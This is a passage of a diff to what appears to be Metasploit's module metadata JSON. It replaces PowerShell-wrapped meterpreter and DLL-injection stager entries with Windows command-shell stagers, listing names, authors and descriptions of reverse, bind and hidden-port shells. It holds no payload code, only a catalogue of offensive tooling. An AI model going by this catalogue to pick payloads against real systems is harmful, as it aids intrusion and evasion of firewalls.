"URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182557,18 +192068,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/shell/bind_hidden_ipknock_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_uuid", + "payload_cmd/windows/powershell/shell/bind_hidden_tcp": { + "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/shell/bind_hidden_tcp", "aliases": [ ], @@ -182577,15 +192088,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", + "spoonm ", "sf ", - "OJ Reeves", - "hdm " + "hdm ", + "skape ", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182596,7 +192107,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/shell/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182605,9 +192116,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_winhttp": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttp", + "payload_cmd/windows/powershell/shell/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp", "aliases": [ ], @@ -182616,16 +192127,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", + "spoonm ", "sf ", - "OJ Reeves", "hdm ", - "Borja Merino " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182636,7 +192145,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_winhttp", + "ref_name": "cmd/windows/powershell/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182645,9 +192154,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/meterpreter/reverse_winhttps": { - "name": "Powershell Exec, Windows Reverse HTTPS Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttps", + "payload_cmd/windows/powershell/shell/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -182656,16 +192165,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", + "spoonm ", "sf ", - "OJ Reeves", "hdm ", - "Borja Merino " + "skape ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows winhttp)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -182676,7 +192184,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_winhttps", + "ref_name": "cmd/windows/powershell/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -182685,9 +192193,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/metsvc_bind_tcp": { - "name": "Powershell Exec, Windows Meterpreter Service, Bind TCP", - "fullname": "payload/cmd/windows/powershell/metsvc_bind_tcp", + "payload_cmd/windows/powershell/shell/bind_named_pipe": { + "name": "Powershell Exec, Windows Command Shell, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/shell/bind_named_pipe", "aliases": [ ], @@ -182696,9 +192204,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "hdm " + "spoonm ", + "sf ", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a pipe connection (Windows x86)", "references": [ ], @@ -182711,7 +192221,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/metsvc_bind_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -182720,9 +192230,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/metsvc_reverse_tcp": { - "name": "Powershell Exec, Windows Meterpreter Service, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/metsvc_reverse_tcp", + "payload_cmd/windows/powershell/shell/bind_nonx_tcp": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/shell/bind_nonx_tcp", "aliases": [ ], @@ -182731,9 +192241,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "hdm " + "spoonm ", + "sf ", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (No NX)", "references": [ ], @@ -182746,7 +192258,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/metsvc_reverse_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182755,9 +192267,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/shell/bind_tcp": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/shell/bind_tcp", "aliases": [ ], @@ -182766,13 +192278,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf ", - "Borja Merino " + "hdm ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection (Windows x86)", "references": [ ], @@ -182785,7 +192296,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182794,9 +192305,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_tcp": { - "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", + "payload_cmd/windows/powershell/shell/bind_tcp_rc4": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_rc4", "aliases": [ ], @@ -182805,13 +192316,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf ", - "Borja Merino " + "hdm ", + "skape ", + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection", "references": [ ], @@ -182824,18 +192336,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", + "payload_cmd/windows/powershell/shell/bind_tcp_uuid": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_uuid", "aliases": [ ], @@ -182844,12 +192356,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", + "spoonm ", + "sf ", "hdm ", - "sf " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection with UUID Support (Windows x86)", "references": [ ], @@ -182862,7 +192374,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -182871,9 +192383,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/shell/find_tag": { + "name": "Powershell Exec, Windows Command Shell, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/shell/find_tag", "aliases": [ ], @@ -182882,13 +192394,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf ", - "OJ Reeves" + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nUse an established connection", "references": [ ], @@ -182901,7 +192411,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -182910,9 +192420,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_named_pipe", + "payload_cmd/windows/powershell/shell/reverse_ipv6_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_ipv6_tcp", "aliases": [ ], @@ -182921,11 +192431,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "UserExistsError" + "spoonm ", + "sf ", + "hdm ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker over IPv6", "references": [ ], @@ -182938,7 +192449,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_named_pipe", + "ref_name": "cmd/windows/powershell/shell/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182947,9 +192458,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_nonx_tcp": { - "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", + "payload_cmd/windows/powershell/shell/reverse_nonx_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_nonx_tcp", "aliases": [ ], @@ -182958,11 +192469,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", + "spoonm ", + "sf ", "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker (No NX)", "references": [ ], @@ -182975,7 +192486,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -182984,9 +192495,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_tcp": { - "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp", + "payload_cmd/windows/powershell/shell/reverse_ord_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_ord_tcp", "aliases": [ ], @@ -182995,12 +192506,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183013,7 +192522,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183022,9 +192531,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", + "payload_cmd/windows/powershell/shell/reverse_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp", "aliases": [ ], @@ -183033,14 +192542,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "spoonm ", "sf ", - "mihi", - "RageLtMan" + "hdm ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183053,18 +192560,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", + "payload_cmd/windows/powershell/shell/reverse_tcp_allports": { + "name": "Powershell Exec, Windows Command Shell, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_allports", "aliases": [ ], @@ -183073,12 +192580,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", + "spoonm ", + "sf ", "hdm ", - "OJ Reeves" + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ ], @@ -183091,7 +192598,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, @@ -183100,9 +192607,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/find_tag", + "payload_cmd/windows/powershell/shell/reverse_tcp_dns": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_dns", "aliases": [ ], @@ -183111,10 +192618,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape " + "spoonm ", + "sf ", + "hdm ", + "skape ", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183127,7 +192637,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/find_tag", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, @@ -183136,9 +192646,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/shell/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4", "aliases": [ ], @@ -183147,12 +192657,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", + "spoonm ", + "sf ", "hdm ", - "sf " + "skape ", + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183165,18 +192677,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", + "payload_cmd/windows/powershell/shell/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4_dns", "aliases": [ ], @@ -183185,11 +192697,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", + "spoonm ", + "sf ", + "hdm ", "skape ", - "vlad902 " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183202,18 +192717,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_rc4_dns", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", + "payload_cmd/windows/powershell/shell/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_uuid", "aliases": [ ], @@ -183222,11 +192737,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "spoonm " + "spoonm ", + "sf ", + "hdm ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -183239,7 +192755,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -183248,9 +192764,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp", + "payload_cmd/windows/powershell/shell/reverse_udp": { + "name": "Powershell Exec, Windows Command Shell, Reverse UDP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/shell/reverse_udp", "aliases": [ ], @@ -183259,12 +192775,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "sf " + "spoonm ", + "sf ", + "RageLtMan " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -183277,7 +192792,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp", + "ref_name": "cmd/windows/powershell/shell/reverse_udp", "check": false, "post_auth": false, "default_credential": false, @@ -183286,9 +192801,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", + "payload_cmd/windows/powershell/shell_bind_tcp": { + "name": "Powershell Exec, Windows Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/shell_bind_tcp", "aliases": [ ], @@ -183297,12 +192812,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", + "vlad902 ", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell", "references": [ ], @@ -183315,7 +192828,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -183324,9 +192837,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", + "payload_cmd/windows/powershell/shell_bind_tcp_xpfw": { + "name": "Powershell Exec, Windows Disable Windows ICF, Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/shell_bind_tcp_xpfw", "aliases": [ ], @@ -183335,13 +192848,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "sf ", - "RageLtMan" + "Lin0xx " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nDisable the Windows ICF, then listen for a connection and spawn a command shell", "references": [ ], @@ -183354,7 +192863,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/shell_bind_tcp_xpfw", "check": false, "post_auth": false, "default_credential": false, @@ -183363,9 +192872,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", + "payload_cmd/windows/powershell/shell_hidden_bind_tcp": { + "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/shell_hidden_bind_tcp", "aliases": [ ], @@ -183374,14 +192883,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "sf ", - "mihi", - "RageLtMan" + "vlad902 ", + "sd", + "Borja Merino " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from certain IP and spawn a command shell.\nThe shellcode will reply with a RST packet if the connections is not\ncoming from the IP defined in AHOST. This way the port will appear\nas \"closed\" helping us to hide the shellcode.", "references": [ ], @@ -183394,18 +192900,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/shell_hidden_bind_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/shell_reverse_tcp": { + "name": "Powershell Exec, Windows Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/shell_reverse_tcp", "aliases": [ ], @@ -183414,14 +192920,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "jt ", - "skape ", - "hdm ", - "sf ", - "mihi", - "RageLtMan" + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell", "references": 